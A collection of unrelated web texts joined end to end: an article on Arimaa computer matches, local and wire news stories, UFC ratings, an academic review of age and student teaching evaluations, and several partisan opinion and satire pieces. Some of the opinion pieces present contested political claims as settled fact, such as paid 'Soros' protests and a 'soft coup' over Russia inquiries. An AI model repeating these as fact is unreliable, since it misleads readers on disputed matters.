In 2010, Mattias Hultgren's bot Marwin edged out Clueless in the computer championship. In the Challenge match Marwin became the first bot to win two out of three games against a single human defender, and also the first bot to win three of the nine games overall. In 2011, however, Marwin won only one of the nine games, and that one having received a material handicap. In 2012 a new challenger, Briareus, became the first program to defeat a top-ten player, sweeping all three games from the fifth-ranked human. In 2013, however, the humans struck back against Marwin, with #4 and #6 each sweeping including a handicap win, and #31 winning two of three games. In 2014, the computer bounced back to win two games, albeit no matches.
In 2015, Sharp made a substantial leap in playing strength. After having scored 6-6 in twelve games against its top two computer rivals the previous year, Sharp went undefeated in the computer tournaments of 2015, including 13-0 against the second- and third-place finishers. Sharp dominated the pre-Challenge screening against human opponents, winning 27 of 29 games. In the Challenge itself, Sharp clinched victory in each of the three mini-matches by winning the first six games, finishing 7-2 overall and winning the Arimaa challenge.[12]
After DeepMind's AlphaZero mastered Go, Chess, and Shogi simply by playing itself, Omar Syed announced a $10,000 prize for the creation of such an Arimaa bot which could win a 10-game match against Sharp. This has not yet been done.[14]
Patent and trademark [ edit ]
US PAT No. 6,981,700 was filed on 3 October 2003, and granted on 3 January 2006. Omar Syed also holds a trademark on the name "Arimaa".
Syed has stated that he does not intend to restrict noncommercial use and has released a license called "The Arimaa Public License" with the declared intent to "make Arimaa as much of a public domain game as possible while still protecting its commercial usage". Items covered by the license are the patent and the trademark.
See also [ edit ]
Notes [ edit ]
^ The history of prize fund pledges is as follows: In 2002 Omar Syed pledged $10,000 until 2020; Prior to 2006 Omar Syed pledged an additional $5,000 until 2010; Prior to 2006 Paul Mertens pledged $2,000 for 2006, $1,500 for 2007, $1,000 for 2008, $500 for 2009, and $250 for 2010; Prior to 2006 Karl Juhnke pledged $500 for 2006; Prior to 2007 Karl Juhnke pledged $600 for 2007; Prior to 2008 Karl Juhnke pledged $1,000 for 2008; Prior to 2009 Karl Juhnke pledged $1,000 for 2009; Prior to 2010 Karl Juhnke pledged $1,000 for 2010; Prior to 2011 Karl Juhnke pledged $1,000 for 2011 ^ The listed ranks include inactive players. Among active players only, the 2010 ranks were Magne(3), Scott(9), Dudek(16), the 2011 ranks were Juhnke(3), Clark(5), Hudson(10), the 2012 ranks were the same as listed, the 2013 ranks were Brown(3), Magne(5), Craven(17), the 2014 ranks were Juhnke(2), Schüler(10), and Manual(33), and the 2015 ranks were Daligault(3) and Ruchka(10). ^ Manual was an anti-computer specialist with too few games against human opponents for accurate ranking.
References [ edit ]
Further reading [ edit ] |
A generous 10-year-old from Pinner is celebrating Christmas as a time for giving by donating his birthday presents to London's homeless.
Big-hearted Sami Rock, who turned 10 on Saturday, will be giving his gifts to charity Shelter in the hopes of bringing a bit of festive cheer to people who might be spending the holiday on the street.
The Cannon Lane Primary School pupil said: "My whole year is invited and I didn't want to just end up getting lots of presents. I thought of giving them to Shelter because it's a homeless charity and it would be helping people who would be spending Christmas on the street.
"I also made a collection box and I've had a few donations already. I'd like to do more for charity, I've done things like a sponsored silence before - it's nice to do things like this sometimes."
Sami and his family, of Pembroke Avenue, Pinner, are holding a disco-themed party this weekend to celebrate his birthday.
His classmates are coming with presents to be donated to Shelter and Sami's collection box will also be in the church hall for anyone to make extra contribution.
Sami's efforts were commended in a school assembly last week.
His proud mother Babs said she had been approached by other parents whose children wanted to do something similar.
Babs said that the world around children today encourages them to be materialistic and she was glad Sami was developing a different outlook.
The 35-year-old said: "He came up with this all by himself. Whenever he sees one of these adverts on television, adopt a snow leopard or something like that, he always asks his dad if he can do it.
"He's quite a sensitive boy and he said he wanted to donate to Shelter because of this time of year, he's been thinking about what Christmas is. I think he feels quite lucky and he wanted to do something to help people less fortunate.
"I'm very proud of him, he's just amazing."
She continued: "We've had quite a few RSVPs to the party and parents have got in touch saying their children would quite like to do something similar. I definitely think he's inspired a few." |
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The near-complete capture of the policymaking process by the very privileged is precisley why income and wealth inequality have accelerated rapidly in the US. The political party controlledby the extremely wealthy has a 5-4 advantage on the Supreme Court, which has the final say on most policy debates. Its 5-4 votes on the Citizens United and McCutcheon cases institutionalized what can only be correctly called "bribeocracy" instead of democracy in the US. The wealthy used their control of policymaking to block meaningful reforms of the financial system needed to correct the abuses that led to the Great Recession. The Republican Party has blocked any taxation changes that could help pay for stimulus and infrastucture spending. Taxation policy assurer that the super-rich get richer. Today in the US, the very wealthy pay a much lower overall tax rate than their accountants, secretaries and even car mechanics. They use the "1031 exchange" rule to pay zero tax on large gains from real estate sales; they pay zero tax on income from municipal bonds; they pay a lower capital gains rate on most other income they earn because in their privileged position, they live more off of sales of stock, companies, hedge fund "carried interest" than off of ordinary income. The question is hardly "unsettled" as the author suggests. The system is rigged. Corporations owned by the very wealthy get government subsidies, whether for agricultural pursuits or drilling for oil. To keep the poor in place, the Republicans have blocked any rise in minimum wage and starve the education system by opposing taxation. The very wealthy control enough of the government to block changes that could help lessen inequality. Obama was able to squeeze by the blockade with his universal health insurance initiative at the start of his presidency, but the vehemence with which the privileged's party has fought it shows the determination of the wealthy to oppose anything that might help the non-rich. How have they managed to accomplish this in a so-called democracy? Through the use of their money (Super-PACS) and skillful propaganda (of which Fox "news" is emblematic but by no means the only vehicle). These propaganda efforts have fooled enough non-rich white voters into voting against their own interests. They will wake up, eventually, and realize that the puppeteers who pull all the strings at the Republican Party don't really care if two lesbians have a wedding, jst as they didn't really belive Obama was a Muslim socialist without a valid birth certificate. The average Republican voter will someday realize that the GOP has been manitpulating voters with such issues as gay marriage and fears of a wave on illegal immigrants to dupe gullible and fearful voters. But the inequality gap will only grow wider until the duped white voter says "enough" and throws out the toadies of the uber-rich. Only when the Republicans are reduced to a size that lacks filibuster power and a majority on the Supreme Court will it be possible to have policies that allow the less privileged to seek and obtain the education necesasry to compete in a globalized economy. Reducing income equlaity will be a long, slow process, but a fair taxation system and fairer allocation of national resources is where it must start |
How do you top making national news for bigotry? Trying getting people to "Give Up (Eating) Hamburgers to Stop Climate Change."
For loony lefty syndicated columnist David Sirota, it's all just another day at the office. Sirota made national news for his bizarre and bigoted hope that the Boston bomber would turn out to be "a white American."
Fresh off that fiasco, Sirota has turned his sights to changing the climate by changing America's diet. According to Sirota's May 2 column, "the fastest way to reduce climate change" simply "requires us all to eat fewer animal products." In case that wasn't sufficiently clear, he added that "we are incinerating the planet and dooming future generations simply because too many of us like to eat cheeseburgers." Sirota's article on the left-wing site Salon included a photo of what appeared to be a bacon cheeseburger with an egg on top of it.
"That's right; essentially, if every fourth time someone craved, say, beef, chicken or cow milk they instead opted for a veggie burger, a bean burrito or water, we have a chance to halt the emergency," he added.
But Sirota wasn't optimistic that conservatives would join him in his veggie crusade. "I'm sure some conservatives will read this column and send me email smugly pledging to eat even more meat than they already do, just to make some incoherent point about freedom." Somehow "freedom" is always incoherent to the left. No matter. We either stop eating what we want or we are endangering what Sirota called our "ecological survival."
The left has been making what we eat their business for years, but it has escalated under the leadership of First Lady Michelle Obama and New York Nanny State Mayor Michael Bloomberg. With extreme groups like the Center for Science in the Public Interest and Food Democracy Now, that trend has accelerated. Liberals have targeted a wide variety of foods and drinks, portion size, menu information, what's in the food, what restaurants can serve and where they can even be located.
See more "Right Views, Right Now." |
MADISON, Wis. (Reuters) - Close to 2,000 students marched in Wisconsin’s capital on Monday to protest the fatal police shooting of an unarmed biracial teenager, while his family demanded justice and the police chief apologized.
Candles are piled in the snow outside the home of Tony Robinson Jr. during a candlelight vigil on Williamson Street in Madison, Wisconsin March 8, 2015. REUTERS/Ben Brewer
Students crowded into the rotunda of the state Capitol in the morning, chanting and waving signs to protest the death of Tony Robinson, 19, shot on Friday by a white police officer.
Later, Turin Carter, Robinson’s uncle, said his family was calling for a thorough investigation and was concerned about the “systematic targeting of young black males,” but did not endorse blanket anti-police sentiments.
“We are not proponents of anti-police (attitudes)... We understand that law enforcement is necessary and mandatory and we need to change our mindset about the police,” Carter said at a news conference outside the house where Robinson was shot.
Standing near a memorial of candles and balloons, Carter said it was simplistic to call Robinson African American, saying he had a mixed heritage and his racial ambiguity was a central issue in his life.
Police shootings across the country have intensified concerns of racial bias in law enforcement.
Many teenagers at the morning protests were from Robinson’s alma mater, Sun Prairie High School.
“There is an indifference between people and police. We all need to come together,” said Ali Asafford, 15, after leaving class at Madison’s East High School. The march was orderly and police presence was minimal.
Officer Matt Kenny, the 12-year police veteran who shot Robinson, is on paid administrative leave while the Wisconsin Department of Justice investigates the shooting. In 2007, Kenny was involved in a fatal shooting that was found to be justified.
Police Chief Michael Koval apologized on Monday after praying with Robinson’s grandmother over the weekend and pledging transparency in the investigation.
“Reconciliation cannot begin without my stating ‘I am sorry,’ and I don’t think I can say this enough. I am sorry. I hope that, with time, Tony’s family and friends can search their hearts to render some measure of forgiveness,” Koval wrote in his blog.
Attorney General Brad Schimel asked the public to be patient with the investigation, saying his office would not be able to disclose details since it could taint testimony from witnesses.
Official efforts to be transparent, apologetic and light-handed with protesters followed months of heightened attention to police use of deadly force across the United States.
Last year, the police shooting death of black teenager Michael Brown in Ferguson, Missouri, set off weeks of protests that sometimes turned violent. Police reaction was criticized as heavy-handed, and critics were outraged at the long delay in releasing the name of the officer who shot Brown.
Madison, a city of 240,000 people about 80 miles (130 km) west of Milwaukee, has a mostly white population. The city is 7 percent African-American, U.S. Census figures show.
On Friday night, Kenny, 45, responded to reports of an assault and a man dodging cars in traffic. Kenny followed the suspect into a dwelling. Koval said the officer was struck in the head and then shot the unarmed teen.
Last year, Robinson pleaded guilty to armed robbery, and was placed on probation. Sentencing documents show it was his first brush with the law, and he was not the armed person in the group that committed the robbery.
Concern about Wisconsin’s own history of police use of deadly force prompted passage of a law last year requiring independent investigators to probe such incidents. The bill had support from police associations.
The head of the local NAACP chapter said the Madison police department did not engage in the sort of racial targeting that the U.S. Justice Department found prevalent in Ferguson.
“I have observed what I think is a very effective community policing structure, and I think it makes a difference,” said Greg Jones, president of the Dane County chapter of the advocacy group. |
UFC 213 took place this past Saturday night at the T-Mobile Arena in Las Vegas and the main card on pay-per-view was headlined by Robert Whittaker becoming the interim middleweight champion with a decision victory over Yoel Romero.
Prior to the main card on pay-per-view, the televised preliminary card aired on FS1 and featured a heavyweight bout as Oleksiy Oliynyk scored his 52nd career victory as he submitted Travis Browne in the second round.
When it comes to the television ratings for the preliminary card, the two-hour portion of the event averaged 675,000 viewers and peaked at 732,000 viewers during the Oliynyk vs. Browne matchup (9:30-9:45 p.m. ET). Prior to the live fights, the pre-fight show came in with 219,000 viewers and once the pay-per-view concluded, the post fight show on FS1 came in with 206,000 viewers.
Now it should be noted that the UFC 213 prelims did go up against stiff sports competition on Saturday night as NASCAR on NBC Sports Network drew 2.7 million viewers, the MLB game on FOX came in with 2.5 million viewers, and the NBA Summer League game on ESPN between the Los Angeles Lakers and Boston Celtics delivered 1.1 million viewers.
The UFC will return to FOX Sports on Sunday for UFC Fight Night: Nelson vs. Ponzinibbio and the six fight main card will begin at 3 p.m. ET/12 p.m. PT on FS1. |
Human Capital Theory and Research Productivity A number of studies have successfully applied this human capital model to the research productivity of university faculty. Young faculty members often face intense pressure to publish but, as promotions are gained and years progress, research output often falls. McDowell (1982) finds humped-shaped relationships between age and research output for a sample of faculty members in a cross-section of disciplines. Diamond (1986) and Levin and Stephan (1991) find similar relations for mathematicians and scientists, and Goodwin and Sauer (1995) find the same for a sample of academic economists. Webber (2012) finds that the of years since terminal degree to have negative effect on publication, and Tien and Blackburn (1996) find that publication rates tend to rise as professors approach promotion and fall after promotion. Other authors report similar declines in research productivity in later life (Galenson and Weinberg 2000; Jones 2010; Jones and Weinberg 2011; Oster and Hamermesh 1998; Stroebe 2010). Stroebe (2010) notes several additional factors that might account for the apparent drop in output at later ages. For example, universities might reallocate resources away from older faculty members and toward younger researchers that they hope to attract and encourage. Also, if mandatory retirement looms in the near future, older faculty members might be less motivated to keep current and continue to produce as effectively. Finally, because older faculty members are likely to have the security of academic tenure, they might be more inclined to shirk and relax. Studies also find differences across disciplines and across genders. For example, the rate at which prior knowledge becomes obsolete probably varies by field. According to McDowell (1982) the rate of “literature decay” in hard sciences such as physics and chemistry is significantly higher than that in humanities such as history and English. He also argues that because women are more likely than men to interrupt their careers for reasons such as child care, they tend to gravitate to fields in which knowledge is more durable. If so, women might suffer less than men from declining productivity as they age.
Age and Teaching Effectiveness Although fewer researchers have studied the effect of age on productivity inside the classroom, human capital theory would predict a similar hump-shaped, non-linear relationship. As younger teachers gain experience their classroom performance should improve, but other factors should eventually push in the opposite direction. For example, the teaching prowess of older faculty members might suffer from an inability to stay current in their fields, or they might be allocating relatively more time to administrative rather than classroom pursuits (McPherson et al. 2009). Also, students might find it easier to connect with faculty members closer to their own age. Complaints by older faculty members about not understanding the younger generation certainly ripple through the halls of academia with some frequency. However, measuring the relationship between age and teaching productivity is challenging. The quantity and quality of research outputs can be measured with some objectivity, but defining, much less measuring, the effectiveness of classroom instruction surely ranks among the more controversial issues in education. Most researchers employ various measures of value-added, typically changes in student test scores, but others quarrel with this approach. For example, Corcoran (2010) argues that value-added measures can be biased by a variety of random factors such as family events, student health, the presence of disruptive classmates and even the effect of what students learn in other classes. Baker et al. (2010) find that teacher rankings based on value-added measures can fluctuate wildly from year to year. Since true teacher quality is unlikely to vary significantly from year, these measures probably are biased and unreliable indicators of classroom effectiveness. Rothstein (2015) adds that value-added measures across different tests in the same discipline correlation are only weakly correlated and that the correlation between changes in test scores and other types of performance measures is weaker still. He also contends that teachers can impact value-added measures by teaching to the test and that these measures ignore important non-cognitive skills. On the other hand, recent studies by Chetty et al. (2014a, b) find that such biases are small and that value-added measures correlate well with long-run student success. We do have extensive datasets that allow us to trace and analyze value-added measures through time for elementary and secondary school children and, when included in research studies, teacher experience almost always turns out to be a significant determinant of student achievement (Harris 2009). As predicted by human capital theory, productivity gains seem especially strong in the first few years of a teacher’s career (Clotfelter et al. 2007; Jackson and Bruegmann 2009; Rockoff 2004), but recent studies by Ost (2014), Papay and Kraft (2012), and Wiswall (2013) conclude that teachers continue becoming more productive for a larger number of years. Thus, to the extent that age correlates with experience, K-12 teaching effectiveness does seem to increase with instructor age for at least some period of time. The link between age and teaching effectiveness in higher education has proven to be more problematic. Judging the effectiveness of classroom instruction is quite difficult and the kinds of longitudinal data on test scores used in K-12 studies rarely exist for university-level students. Though quite controversial and subject to potential bias from a variety of factors, most schools rely on student evaluations of teaching (SET) as a primary measure of teaching quality (Denson et al. 2010). However, despite an enormous literature on the subject, the evidence supporting their use is mixed. For example, in his meta-analysis, Clayson (2009) finds a positive, albeit weak, correlation between SETs and various objective measures of value added across different sections of a course but finds no significant relationship for students within a section. In other words, students in sections taught by highly rated instructors do seem to learn more, but those students showing the largest gains in knowledge do not rate their instructors any better than do other students in the same class with smaller knowledge gains. Carrell and West (2010) find that SETs for a sample of instructors at the U.S. Air Force Academy are positively related to contemporaneous student learning, but were negatively related to student achievement in subsequent courses. Galbraith et al. (2012) identify a variety of methodological problems that might bias prior analyses and, using a large sample of business courses, find no significant relationships between SETs and achievement of student learning outcomes. They conclude that there is little reason to believe that SETs serve as a valid indicator of teaching effectiveness. But many other researchers do find positive and significant correlations between SETs and indicators of student learning (Beleche et al. 2012; Centra 1993; Davis 2009; Marsh 1984; Marsh and Roche 1997). Studying a sample of medical students, Stehle et al. (2012) find that SETs have a strong positive correlation with results on a practical examination, even though they were unrelated to scores on a multiple-choice test. Davis (2009) concludes that “students of highly rated teachers achieve higher final exam scores, can better apply course material, and are more inclined to pursue the subject subsequently” (p. 534) and Benton and Cashin (2014) write that “In general, student ratings tend to be statistically reliable, valid, and relatively free from bias or the need for control, perhaps more so than any other data used for faculty evaluation” (p. 12). Other studies have identified additional factors that impact SETs and several (Kinney and Smith 1992; McPherson et al. 2009; Wiswall 2013) have modelled SETs as a function of various instructor and course characteristics. Failure to control for these characteristics might create bias and probably accounts for some of disparate results found in the literature. For example, in addition to age, SETs might be impacted by an instructor’s gender and physical appearance. While there is some agreement that both male and female students tend to give higher ratings to instructors of their same gender (Centra and Gaubatz 2000), the overall effects are not clear. Some early research with high school teachers showed a slight bias for males to receive higher ratings (Bernard et al. 1981), but more recent studies find slightly higher ratings for females (Feldman 1993; Whitworth et al. 2002) or no significant difference at all (Feldman 1992). However McPherson et al. (2009) conclude that male instructors in their sample of economics instructors received higher ratings than females, For better or worse, physical beauty might also matter. According to Hamermesh and Biddle (1994) workers rated as striking or above average in attractiveness earn a wage premium of about 15 % over those rated as below average or homely. Beauty apparently impacts SETs as well. O’Reilly (1987) found that the physical attractiveness of dental school instructors affected student opinions of their teaching effectiveness. Professors at the University of Texas judged as better looking by students also earned stronger evaluations (Hamermesh and Parker 2005). Perhaps surprisingly, beauty had more of an impact on the ratings of male professors than females. Younger students also seem to prefer attractive instructors as even elementary school children tend to rate good-looking teachers more highly (Goebel and Cashen 1979). Feeley (2002) argues that this phenomenon results from a “halo effect” in which the beauty of the instructor creates a halo whose aura spreads to impact student perceptions of other, non-related characteristics. Course characteristics also impact SETs. Other researchers have found that variables such as class size (Green et al. 2012; Hamilton 1980; McPherson et al. 2009), course level (Braskamp and Ory 1994; Feldman 1978), and whether or not the course was an elective (Feldman 1978; McPherson et al. 2009) affect SETs. In addition, numerous authors have studied the relationship between SETs and course difficulty and expected grades. Bowling (2008) finds that SETs are contaminated by differences in course difficulty and that students give higher ratings to instructors in courses they consider to be easy. Moreover, the positive effect of easiness ratings on course evaluations is stronger in public schools with low academic rankings than in more highly ranked private institutions. Though not all studies agree (Centra 2003), many analyses also conclude that higher expected grades correlate with higher SETs (Blackhart et al. 2006; Braskamp and Ory 1994; Krautmann and Sander 1999; Langbein 2008; McPherson et al. 2009). To the extent that students expecting high grades are those who have learned more and rate their instructors highly as a result, SETs can be a valid indicator of teaching effectiveness. However, the more common interpretation is that instructors are able to buy better evaluations by awarding higher-than-deserved grades. In this interpretation, SETs are a biased indicator of teaching quality. Thousands of articles have been published on the validity of using SETs as a measure of teaching effectiveness, and a comprehensive review of these is beyond the scope of this paper. Many different views can be supported by at least one study. Nonetheless, many studies do conclude that SETs can be valid indicators of teaching effectiveness, at least when controlled for appropriate instructor and course characteristics. Moreover, the ubiquitous use of SETs in promotion and tenure decisions is evidence that administrators believe them to be a primary indicator of classroom performance. Indeed, one recent survey found that department chairs weighed SETs more heavily than any other factor in their overall evaluations of a faculty member’s teaching effectiveness (Becker et al. 2012).
Age and SETs Some studies using SETs as an indicator of teaching quality do find them to be negatively related to instructor age (Meshkani and Hossein 2003; Wachtel 1998), but the literature shows no consistent relationships (Blackburn and Lawrence 1986). Ragan and Walia (2010) find that new instructors get lower ratings, but that this disadvantage changes in a relatively few years. Hamermesh and Parker (2005) find no effect of instructor age in their sample of faculty members, nor do Mardikyan and Badur (2011). Spooren (2010) finds that age has a negative but non-significant effect on SET scores in his sample. The effect of age could be confounded with that of experience but, after adjusting for the positive impact of experience, McPherson et al. (2009) still find that age has a negative effect. They conclude that experience raises effectiveness, but older instructors with 20 years of experience do not fare as well as younger ones with 20 years of experience. In perhaps the most extensive study of age and teaching performance in higher education, Kinney and Smith (1992) find non-linear effects of age on SETs that vary across different academic areas. In their sample, SETs for faculty in the humanities tend to fall for faculty up to about age 50 and then increase slightly. They speculate that these departments might place more relative value on teaching effectiveness that, in turn, encourages faculty to continue honing skills through their later years. They claim also that older professors in these fields might start to become more concerned with the intellectual growth of their students relative to their own. On the other hand, they find that evaluations in the sciences rise until faculty age reached the mid-40 s and then decline continually after that. Their results are statistically significant, but the quantitative effects are small. These studies are suggestive but, because it is extremely difficult to obtain or compare faculty evaluation data from multiple schools, they rely on samples from a single university or, in some cases, a single department within that university. More importantly for our purposes, none used samples containing large numbers of faculty past the age of 64.
Rate My Professors Popular websites such as RateMyProfessors.com (RMP) publish student ratings for a broad and diverse sample of college and university instructors. The RMP site allows students to rate professors on three criteria: helpfulness, clarity, and easiness. The site also publishes an overall quality rating that is the simple average of the ratings for helpfulness and clarity. The site imposes almost no restrictions on who participates and, as Davison and Price (2009) report, fraudulent ratings are an issue. Students can log onto RMP under fake names and rate faculty members multiple times, and faculty members can enter the site and rate themselves or their colleagues as well. Moreover, since students with strong opinions about an instructor probably are more likely to take the initiative to log on and provide ratings, the sample of students rating a particular instructor could be unrepresentative of the population. Nonetheless, a growing body of evidence suggests that RMP ratings closely mirror those of university-run evaluations. Kindred and Mohammed (2005) conclude that student postings on the RMP website accurately reflect the opinions of students interviewed in focus groups about the quality of teaching delivered by their professors. Looking at a sample of 426 instructors at the University of Maine, Coladarci and Kornfield (2007) find a strong positive correlation between RMP ratings and those for corresponding questions on the university-administered evaluations and, based on their work with Brooklyn College faculty evaluations, Brown et al. (2009) conclude that RMP ratings are strong predictors of instructor SET ratings. Timmerman (2008) reports that overall quality ratings on RMP correlate highly with the summary ratings for evaluations in a sample of five different universities and, according to Otto et al. (2008), RMP ratings are consistent with “what would be expected if the ratings were valid measures of student learning” (p. 364). Despite their potential defects, RMP ratings apparently do closely track the SETs that, for better or worse, are commonly used to measure teaching effectiveness. |
Update: The push to delegitimize the election results continued after a trio of top Senate Democrats called for a nonpartisan commission to investigate allegations that Russia interfered in the 2016 presidential election. Sens. Ben Cardin (Md.), Dianne Feinstein (Calif.) and Patrick Leahy (Vt.), the top Democrats on the Foreign Relations, Intelligence and Judiciary committees, back the creation an independent commission with 18 months to report its findings The Hill reports.
"The American people deserve a nonpartisan, transparent, public investigation into this insidious attack on our democratic institutions,” Cardin said. “As a nation it’s time to get to the bottom of it and learn what we can do to prevent it from ever happening again.”
The commission would be tasked with investigating allegations of Russian cyber attacks, trying to identify those responsible and recommending responses and future measures to prevent interference in U.S. elections.
Feinstein added that the commission would determine if Russian hacks tried to undercut Hillary Clinton, the Democrat presidential nominee, or "undermine our democratic system."
"This bipartisan commission will help identify the specific ‘actors’ responsible and recommend a possible course of action to prevent this from ever happening again," she said.
The panel, according to the Democratic senators, would have access to both classified and unclassified information, as well as the ability to subpoena officials about Russian activities tied to the presidential race.
Leahy, the top Democrat on the Judiciary Committee, added on Monday lawmakers must "rise above the fray and engage in a serious, independent, and bipartisan investigation."
"This is larger than any one candidate or any one election," he said. "This is about protecting our democracy now, and going forward.”
Of course, none of these calls would have been made had Trump lost the election, and in fact he would have been crucified by the press for daring to question the outcome of the vote.
* * *
Earlier:
And there it is.
Just as we first laid out on Saturday following Friday night's shock "report" that the CIA had concluded Russia had intervened in the presidential election on behalf of Trump, which we quickly assessed had all the marks of a "soft coup" attempt, and which culminated most recently with a report that up to 10 electors had requested a briefing on "Russian Interference" before the presidential vote, moments ago none other than the Clinton campaign, by way of its top political adviser John Podesta, said the campaign is supporting an effort by members of the Electoral College to request an intelligence briefing on foreign intervention in the presidential election, Politico reported.
In his statement released on Monday, Podesta said “The bipartisan electors' letter raises very grave issues involving our national security,” and added that “electors have a solemn responsibility under the Constitution and we support their efforts to have their questions addressed.”
“Each day that month, our campaign decried the interference of Russia in our campaign and its evident goal of hurting our campaign to aid Donald Trump. Despite our protestations, this matter did not receive the attention it deserved by the media in the campaign. We now know that the CIA has determined Russia's interference in our elections was for the purpose of electing Donald Trump. This should distress every American.”
Podesta's statement is the first public statement from the Clinton campaign raising questions about the legitimacy of Donald Trump's victory.
It follows the previously reported open letter from 10 presidential electors, including Democratic Leader Nancy Pelosi’s daughter Christine, requesting an intelligence briefing ahead of the Dec. 19 vote of the Electoral College.
Why this push is curious, is because during today's briefing Press Secretary Josh Earnest explicitly stated that "US intel agencies didn't detect any malicious cyberactivity "that interfered w the casting and counting of ballots" on Nov. 8", a narrative at odds with that concocted by the WaPo, in its interpretation of what the CIA allegedly concluded in its "secret" assessment, which thenbegs the question: who is lying?
Shortly after Podesta's statement, the Democratic National Committee disseminated a Politico story that revealed the electors' call for a briefing. Two Democratic members of Congress have also suggested the Electoral College should take an active role in reassessing, or stopping, a Trump presidency.
It was unclear which particular agency would provide the briefing, if it was permitted, especially in light of reports that there has been a shcism between the CIA and FBI in their interpretation of whether Russia had indeed intervened directly to push for a Trump election.
While so far no proof has been provided by the CIA substantiating its claim, we doubt one will be forthcoming. After all as the WaPo itself reported some time ago, citing an official, "the intelligence community is not saying it has ‘definitive proof’ of such tampering, or any Russian plans to do so." In other words, there is merely "extrapolation" based on a personal biases to reach a desired, goalseeked outcome, without any factual validation whatsoever.
However, it is likely that should the Clinton Campaign's request for a "breifing" be granted, that it would lead to a dramatic split among the already polarized US nation. As to whether the Electoral College would ultimately vote against Trump, we leave it up to readers to consider the possible, and very damaging for the US, consequences. |
[digg-reddit-me]Who knew the Bush administration actually had a strategy in fighting Al Qaeda?
Robert Grenier, who according to Joby Warrick of the Washington Post is “a former top CIA counterterrorism official who is now managing director of Kroll, a risk consulting firm” explained that we were now winning the fight against Al Qaeda after losing so many battles because:
One of the lessons we can draw from the past two years is that al-Qaeda is its own worst enemy. Where they have succeeded initially, they very quickly discredit themselves.
And you didn’t think Bush had a strategy.
It’s the old “invade-two-countries-and-use-heavy-handed- tactics-to-rile-up-the-extremists- so-that- they- initially- have- public- support- but-then- pretend -to-have -an-incompetent- strategy- to-combat- the-extremists- so-that-they- succeed- which-will- then-lead- to-the- public- turning -on- them- because- they-are- evil- doers -after-all.” One of Sun Tzu’s classic stratagems.
And apparently one which is having some success – as Peter Bergen and Paul Cruickshank suggest in their important piece in The New Republic, “The Unraveling.” Bergen and Cruickshank attribute the ideological rifts within the Muslim extremist community to Al Qaeda’s strategic blunders – but they do not give Bush enough credit for his secret plan to let Al Qaeda succeed so that their empty ideology could be exposed for what it is by fellow extremists.
Bush’s secret plan to win the War on Terrorism bears a strong resemblance to Ronald Reagan’s plan to defeat the Communist Soviet Union. By convincing the public and most of his administration that the USSR had taken a significant lead in all sorts of military areas, he increased America’s military spending exponentially. As the Soviet Union tried to keep up, it eventually collapsed exposing it’s system’s hidden flaws. Although the CIA was caught by surprise by this development during George H. W. Bush’s first term, conservatives quickly confirmed that this was all part of Reagan’s secret plan to end the destroy the Soviet Union by spending like a drunken sailor in America.
George W. Bush – whose wisdom, like Reagan’s is often compared to that of the mythical hedgehog of Isaiah Berlin’s famous essay – has been blessed with authentically evil enemies. Even if he allows them to win, within their winning are the seeds of their destruction.
It is a cunning strategy.
Now we just have to make sure we don’t choose a president who screws it all up by going after Al Qaeda in a competent fashion – a competence that might even distinguish between the Muslim extremist groups that are fighting with one another. It might look like Al Qaeda’s recent troubles happened despite, rather than because of, Bush’s ingenious strategy. But that’s only because we didn’t give enough credit to Bush and John McCain for having this secret strategy.
Now that we know, it’s important to support the right American candidate for this American presidency in this American election against all those anti-Americans out there. Vote for the Bush-McCain Super-Secret Counterterrorism Strategy: Winning the War on Terrorism by Losing Every Battle and Letting Al Qaeda Defeat Itself!
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There is simply no logic to the argument, no matter how it is interpreted”.
http://theduran.com/food-medicine-cant-get-passed-saudi-blockade-yemen-nikki-haley-thinks-missiles-can/
While many in the west are experiencing “war fatigue”, it would appear that they are also experiencing “protest fatigue” when it comes to the all important issue of peace.
February the 15th, 2003, is generally considered to be the biggest day of global protests in history. Anti-war marches and rallies took place on every populated continent, as millions came together to oppose George W. Bush’s war on Iraq, which ultimately broke out the following month.
In New York, upwards of 400,000 people gathered to try and stop the war while estimates of upwards of 1 million gathered in London, with two million marching in Madrid.
On that day, the streets of most major capital cities in the world staged events to reject war, with the most substantial demonstrations held in the large cities of Europe, North America, the Middle East and diverse parts of Asia ranging from Malaysia to India.
The protests did not stop the war, but they did help to set the stage for the failure of the war hawks to explain themselves out of the disaster that was and to an extent remains, the illegal 2003 war on Iraq.
Since that time, the US and its allies have successfully destroyed Libya while they continue to meddle in Syria after using proxy forces to instigate the present conflict in Syria starting in 2011.
Now, Iran is subject to much of the same defamatory statements that have been hurled at Iraq, Libya and Syria.
While many people are deeply opposed to the actions the US has taken to destroy sovereign states since 2003, there have been no repeats of the mass protests of that year.
In looking for an answer as to why this might be, there are some negative but also some positive answers.
Social Media
Social media has come a long way since 2003. In fact, the first major western social media network, Myspace, only launched after the Iraq war. In 2003, the internet was powerful, but nowhere near as powerful as it had become by 2011.
Today, people “protest” and “demonstrate” on a daily basis across a wide variety of platforms including, Facebook, VK, Twitter, Telegram, Instagram, Youtube and many others. Crucially, many popular social media networks are owned by companies based outside of the US, helping to make the corporate governance of major websites and apps far more pluralistic than was the case in 2003.
The power of social media to galvanise public opinion against war should not be underestimated. The fact that so many western corporations and governments try and often succeed in silencing online protest, is clear sign that the powers that be in war hungry western governments, believe that such mechanisms are turning public opinion against mainstream pro-war political groups.
Protest Fatigue
On the other side of the spectrum, seeing how the anti-Iraq War protests ultimately did not change the policies of the US and its war partners, it would appear that many have decided that the peaceful mobilisation of street protesters is not effective.
Since 2003, organic, big tent anti-war protests have largely been subsumed in the west by a combination of genuine protests over national or local matters and paid “protests” by sectarian foundations. When looking for an example of a genuine local protest, one can point to the frequent anti-economic austerity protests in countries like Greece. Examples of paid “protests” by sectarian foundations are typified by those organised by various bodies funded by and/or coordinated by George Soros. These protests never deal with broad unifying issues such as that of world peace.
Republican versus Democrat
While I believe that there is truth to a great deal of the previous two theories, the idea that anti-war activists are more likely to protest a Republican President in the White House going to war, rather than a Democratic one. seems to be an argument which has passed its use-by-date.
Donald Trump is a Republican US President who won an election based largely on an anti-war platform. The fact that in less than a year, he is creating as much global instability as his two war-mongering predecessors has not resulted in mass protests of the kind seen against Bush and his international partners in 2003.
While members of the political elite will always use party politics as a means of point-scoring against an opponent, the idea of a left-right divide in 21st century anti-war politics, is no longer apt.
Broken Promises
While it seems to be largely forgotten now, George W. Bush first ran for President on a platform of opposition to “nation building”, as he called it in 1999 and 2000. He even once said that he wanted to avoid being known as the “ugly American” for trying to impose American style governance on sovereign states.
